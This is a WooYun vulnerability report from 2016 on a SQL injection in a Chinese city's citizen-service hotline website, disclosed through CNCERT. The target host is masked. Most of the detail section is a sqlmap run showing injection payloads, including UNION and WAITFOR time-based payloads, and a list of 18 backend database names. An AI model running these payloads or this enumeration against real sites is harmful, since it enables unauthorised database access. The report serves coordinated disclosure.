当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169462

漏洞标题:某市市民服务热线存在Sql注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 小胖博客

提交时间:2016-01-18 14:50

修复时间:2016-03-04 13:27

公开时间:2016-03-04 13:27

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-18: 细节已通知厂商并且等待厂商处理中
2016-01-20: 厂商已经确认,细节仅向厂商公开
2016-01-30: 细节向核心白帽子及相关领域专家公开
2016-02-09: 细节向普通白帽子公开
2016-02-19: 细节向实习白帽子公开
2016-03-04: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**/tongji/xininfo.aspx?id=-2147052242
http://**.**.**.**/tongji/xininfo.aspx?id=-2147052242


[root@Hacker~]# Sqlmap -u "http://**.**.**.**/tongji/xininfo.aspx?id=-214
7052242" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:35:17
[20:35:17] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:35:17] [INFO] testing connection to the target url
[20:35:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=-2147052242 AND 7999=7999
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-8798 UNION ALL SELECT CHAR(58)+CHAR(97)+CHAR(109)+CHAR(101)+CHA
R(58)+CHAR(120)+CHAR(83)+CHAR(119)+CHAR(81)+CHAR(73)+CHAR(111)+CHAR(102)+CHAR(10
1)+CHAR(71)+CHAR(83)+CHAR(58)+CHAR(107)+CHAR(97)+CHAR(98)+CHAR(58), NULL, NULL,
NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=-2147052242; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=-2147052242 WAITFOR DELAY '0:0:5'--
---
[20:35:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:35:18] [INFO] fetching database names
[20:35:18] [INFO] the SQL query used returns 18 entries
[20:35:18] [INFO] resumed: "distribution"
[20:35:18] [INFO] resumed: "lz_workstation"
[20:35:18] [INFO] resumed: "master"
[20:35:18] [INFO] resumed: "model"
[20:35:18] [INFO] resumed: "msdb"
[20:35:18] [INFO] resumed: "POWERTALKCONSULT"
[20:35:18] [INFO] resumed: "ReportServer"
[20:35:18] [INFO] resumed: "ReportServerTempDB"
[20:35:18] [INFO] resumed: "Supervisor"
[20:35:18] [INFO] resumed: "Supervisor_test"
[20:35:18] [INFO] resumed: "tempdb"
[20:35:18] [INFO] resumed: "ts_96123"
[20:35:18] [INFO] resumed: "ts_96123_2"
[20:35:18] [INFO] resumed: "ts_96123_3"
[20:35:18] [INFO] resumed: "ts_96123_4"
[20:35:18] [INFO] resumed: "ts_96123_5"
[20:35:18] [INFO] resumed: "ts_py_sysxd"
[20:35:18] [INFO] resumed: "wf"
available databases [18]:
[*] distribution
[*] lz_workstation
[*] master
[*] model
[*] msdb
[*] POWERTALKCONSULT
[*] ReportServer
[*] ReportServerTempDB
[*] Supervisor
[*] Supervisor_test
[*] tempdb
[*] ts_96123
[*] ts_96123_2
[*] ts_96123_3
[*] ts_96123_4
[*] ts_96123_5
[*] ts_py_sysxd
[*] wf


漏洞证明:

8F1@HQWM1LI3WJ4J77(W@{Y.png


后面加了一个'之后路径就出来了 = =。

修复方案:

加强过滤

版权声明:转载请注明来源 小胖博客@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-20 15:29

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给辽宁分中心,由其后续协调网站管理单位处置.

最新状态:

暂无